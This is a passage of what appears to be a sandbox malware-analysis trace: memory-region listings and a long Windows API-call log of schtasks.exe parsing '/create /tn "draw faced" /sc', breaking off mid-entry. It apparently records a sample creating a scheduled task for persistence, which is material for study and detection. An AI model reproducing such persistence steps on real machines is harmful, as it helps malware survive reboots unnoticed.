3112 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3113 start_va = 0x16052630000 end_va = 0x16052630fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016052630000" filename = "" Region: id = 3114 start_va = 0x16052640000 end_va = 0x16052640fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016052640000" filename = "" Region: id = 3115 start_va = 0x16052ed0000 end_va = 0x16053050fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016052ed0000" filename = "" Region: id = 3116 start_va = 0x16053060000 end_va = 0x1605445ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016053060000" filename = "" Region: id = 3128 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3129 start_va = 0x16052650000 end_va = 0x16052650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016052650000" filename = "" Region: id = 3130 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3131 start_va = 0x16052660000 end_va = 0x16052660fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016052660000" filename = "" Region: id = 3132 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3133 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3134 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 162 os_tid = 0x940 [0119.547] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0119.547] __set_app_type (_Type=0x1) [0119.547] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0119.548] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0119.548] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0119.549] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0119.549] CsrIdentifyAlertableThread () returned 0x0 [0119.549] GetProcessHeap () returned 0x160526b0000 [0119.549] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4a60 [0119.549] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.549] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0119.549] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0119.549] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0119.549] RtlVerifyVersionInfo (VersionInfo=0x342227f470, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0119.549] GetProcessHeap () returned 0x160526b0000 [0119.549] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4a80 [0119.549] lstrlenW (lpString="") returned 0 [0119.550] GetProcessHeap () returned 0x160526b0000 [0119.550] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x2) returned 0x160526b4aa0 [0119.550] GetProcessHeap () returned 0x160526b0000 [0119.550] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b4410 [0119.550] GetProcessHeap () returned 0x160526b0000 [0119.550] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4440 [0119.550] GetProcessHeap () returned 0x160526b0000 [0119.550] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b4460 [0119.550] GetProcessHeap () returned 0x160526b0000 [0119.550] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b4490 [0119.550] GetProcessHeap () returned 0x160526b0000 [0119.550] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b4000 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b90e0 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4030 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8f60 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b91d0 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8fc0 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b9140 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4050 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b9200 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8f90 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.551] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b9080 [0119.551] GetProcessHeap () returned 0x160526b0000 [0119.552] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b9020 [0119.552] SetThreadUILanguage (LangId=0x0) returned 0x409 [0119.553] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8ff0 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b90b0 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b9170 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b91a0 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8ea0 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4800 [0119.554] _memicmp (_Buf1=0x160526b4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.554] GetProcessHeap () returned 0x160526b0000 [0119.554] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x208) returned 0x160526b9b40 [0119.554] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x160526b9b40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0119.554] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x342227f5c8 | out: lpdwHandle=0x342227f5c8) returned 0x76c [0119.556] GetProcessHeap () returned 0x160526b0000 [0119.556] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x776) returned 0x160526ba8a0 [0119.557] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x160526ba8a0 | out: lpData=0x160526ba8a0) returned 1 [0119.557] VerQueryValueW (in: pBlock=0x160526ba8a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x342227f560, puLen=0x342227f5c0 | out: lplpBuffer=0x342227f560*=0x160526bac50, puLen=0x342227f5c0) returned 1 [0119.560] _memicmp (_Buf1=0x160526b4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.560] _vsnwprintf (in: _Buffer=0x160526b9b40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x342227f538 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0119.560] VerQueryValueW (in: pBlock=0x160526ba8a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x342227f550, puLen=0x342227f5b8 | out: lplpBuffer=0x342227f550*=0x160526baa80, puLen=0x342227f5b8) returned 1 [0119.560] lstrlenW (lpString="schtasks.exe") returned 12 [0119.560] lstrlenW (lpString="schtasks.exe") returned 12 [0119.560] lstrlenW (lpString=".EXE") returned 4 [0119.560] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0119.561] lstrlenW (lpString="schtasks.exe") returned 12 [0119.561] lstrlenW (lpString=".EXE") returned 4 [0119.561] _memicmp (_Buf1=0x160526b4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.561] lstrlenW (lpString="schtasks") returned 8 [0119.561] GetProcessHeap () returned 0x160526b0000 [0119.561] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8f00 [0119.561] GetProcessHeap () returned 0x160526b0000 [0119.561] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526b8f30 [0119.561] GetProcessHeap () returned 0x160526b0000 [0119.561] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb6e0 [0119.561] GetProcessHeap () returned 0x160526b0000 [0119.561] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb800 [0119.561] GetProcessHeap () returned 0x160526b0000 [0119.561] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4820 [0119.561] _memicmp (_Buf1=0x160526b4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.561] GetProcessHeap () returned 0x160526b0000 [0119.561] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xa0) returned 0x160526b38a0 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bbb30 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb980 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb5f0 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b4840 [0119.562] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x200) returned 0x160526bbb70 [0119.562] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0119.562] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x30) returned 0x160526b3950 [0119.562] _vsnwprintf (in: _Buffer=0x160526b38a0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x342227f538 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526ba8a0) returned 1 [0119.562] GetProcessHeap () returned 0x160526b0000 [0119.562] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526ba8a0) returned 0x776 [0119.563] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526ba8a0) returned 1 [0119.563] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.563] GetThreadLocale () returned 0x409 [0119.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.563] lstrlenW (lpString="?") returned 1 [0119.563] GetThreadLocale () returned 0x409 [0119.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.563] lstrlenW (lpString="create") returned 6 [0119.563] GetThreadLocale () returned 0x409 [0119.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] lstrlenW (lpString="delete") returned 6 [0119.564] GetThreadLocale () returned 0x409 [0119.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] lstrlenW (lpString="query") returned 5 [0119.564] GetThreadLocale () returned 0x409 [0119.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] lstrlenW (lpString="change") returned 6 [0119.564] GetThreadLocale () returned 0x409 [0119.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] lstrlenW (lpString="run") returned 3 [0119.564] GetThreadLocale () returned 0x409 [0119.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] lstrlenW (lpString="end") returned 3 [0119.564] GetThreadLocale () returned 0x409 [0119.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] lstrlenW (lpString="showsid") returned 7 [0119.564] GetThreadLocale () returned 0x409 [0119.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.564] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.564] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.564] lstrlenW (lpString="/create") returned 7 [0119.564] lstrlenW (lpString="-/") returned 2 [0119.564] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.564] lstrlenW (lpString="?") returned 1 [0119.564] lstrlenW (lpString="?") returned 1 [0119.564] GetProcessHeap () returned 0x160526b0000 [0119.564] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b3f20 [0119.564] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.565] GetProcessHeap () returned 0x160526b0000 [0119.565] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xa) returned 0x160526b3f40 [0119.565] lstrlenW (lpString="create") returned 6 [0119.565] GetProcessHeap () returned 0x160526b0000 [0119.565] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526b3f60 [0119.565] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.565] GetProcessHeap () returned 0x160526b0000 [0119.565] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x14) returned 0x160526b3f80 [0119.565] _vsnwprintf (in: _Buffer=0x160526b3f40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|?|") returned 3 [0119.565] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.565] lstrlenW (lpString="|?|") returned 3 [0119.565] lstrlenW (lpString="|create|") returned 8 [0119.565] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.565] lstrlenW (lpString="create") returned 6 [0119.565] lstrlenW (lpString="create") returned 6 [0119.565] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.565] GetProcessHeap () returned 0x160526b0000 [0119.565] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3f40) returned 1 [0119.565] GetProcessHeap () returned 0x160526b0000 [0119.565] RtlReAllocateHeap (Heap=0x160526b0000, Flags=0xc, Ptr=0x160526b3f40, Size=0x14) returned 0x160526b4290 [0119.565] lstrlenW (lpString="create") returned 6 [0119.565] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.565] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.565] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.565] lstrlenW (lpString="|create|") returned 8 [0119.565] lstrlenW (lpString="|create|") returned 8 [0119.565] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0119.566] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.566] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.566] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.566] lstrlenW (lpString="/tn") returned 3 [0119.566] lstrlenW (lpString="-/") returned 2 [0119.566] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.566] lstrlenW (lpString="?") returned 1 [0119.566] lstrlenW (lpString="?") returned 1 [0119.566] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.566] lstrlenW (lpString="tn") returned 2 [0119.566] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.566] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|?|") returned 3 [0119.566] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.566] lstrlenW (lpString="|?|") returned 3 [0119.566] lstrlenW (lpString="|tn|") returned 4 [0119.566] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.566] lstrlenW (lpString="create") returned 6 [0119.566] lstrlenW (lpString="create") returned 6 [0119.566] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.566] lstrlenW (lpString="tn") returned 2 [0119.566] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.566] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.566] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.566] lstrlenW (lpString="|create|") returned 8 [0119.566] lstrlenW (lpString="|tn|") returned 4 [0119.566] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0119.567] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.567] lstrlenW (lpString="delete") returned 6 [0119.567] lstrlenW (lpString="delete") returned 6 [0119.567] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.567] lstrlenW (lpString="tn") returned 2 [0119.567] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.567] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|delete|") returned 8 [0119.567] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.567] lstrlenW (lpString="|delete|") returned 8 [0119.567] lstrlenW (lpString="|tn|") returned 4 [0119.567] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0119.567] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.567] lstrlenW (lpString="query") returned 5 [0119.567] lstrlenW (lpString="query") returned 5 [0119.567] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.567] lstrlenW (lpString="tn") returned 2 [0119.567] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.567] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|query|") returned 7 [0119.567] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.567] lstrlenW (lpString="|query|") returned 7 [0119.567] lstrlenW (lpString="|tn|") returned 4 [0119.567] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0119.567] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.567] lstrlenW (lpString="change") returned 6 [0119.567] lstrlenW (lpString="change") returned 6 [0119.567] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.568] lstrlenW (lpString="tn") returned 2 [0119.568] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.568] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|change|") returned 8 [0119.568] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.568] lstrlenW (lpString="|change|") returned 8 [0119.568] lstrlenW (lpString="|tn|") returned 4 [0119.568] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0119.568] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.568] lstrlenW (lpString="run") returned 3 [0119.568] lstrlenW (lpString="run") returned 3 [0119.568] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.568] lstrlenW (lpString="tn") returned 2 [0119.568] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.568] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|run|") returned 5 [0119.568] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.568] lstrlenW (lpString="|run|") returned 5 [0119.568] lstrlenW (lpString="|tn|") returned 4 [0119.568] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0119.568] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.568] lstrlenW (lpString="end") returned 3 [0119.568] lstrlenW (lpString="end") returned 3 [0119.568] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.568] lstrlenW (lpString="tn") returned 2 [0119.568] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.568] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|end|") returned 5 [0119.569] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.569] lstrlenW (lpString="|end|") returned 5 [0119.569] lstrlenW (lpString="|tn|") returned 4 [0119.569] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0119.569] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.569] lstrlenW (lpString="showsid") returned 7 [0119.569] lstrlenW (lpString="showsid") returned 7 [0119.569] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.569] GetProcessHeap () returned 0x160526b0000 [0119.569] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4290) returned 1 [0119.569] GetProcessHeap () returned 0x160526b0000 [0119.569] RtlReAllocateHeap (Heap=0x160526b0000, Flags=0xc, Ptr=0x160526b4290, Size=0x16) returned 0x160526b4290 [0119.569] lstrlenW (lpString="tn") returned 2 [0119.569] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.569] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|showsid|") returned 9 [0119.569] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|tn|") returned 4 [0119.569] lstrlenW (lpString="|showsid|") returned 9 [0119.569] lstrlenW (lpString="|tn|") returned 4 [0119.569] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0119.569] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.569] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.569] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.569] lstrlenW (lpString="/tn") returned 3 [0119.570] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] lstrlenW (lpString="/tn") returned 3 [0119.570] GetProcessHeap () returned 0x160526b0000 [0119.570] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x8) returned 0x160526b3f40 [0119.570] GetProcessHeap () returned 0x160526b0000 [0119.570] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb710 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] lstrlenW (lpString="draw faced") returned 10 [0119.570] lstrlenW (lpString="-/") returned 2 [0119.570] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] lstrlenW (lpString="draw faced") returned 10 [0119.570] StrChrIW (lpStart="draw faced", wMatch=0x3a) returned 0x0 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.570] lstrlenW (lpString="draw faced") returned 10 [0119.570] GetProcessHeap () returned 0x160526b0000 [0119.570] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x16) returned 0x160526b42c0 [0119.570] GetProcessHeap () returned 0x160526b0000 [0119.571] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb9b0 [0119.571] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.571] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.571] lstrlenW (lpString="/sc") returned 3 [0119.571] lstrlenW (lpString="-/") returned 2 [0119.571] StrChrIW 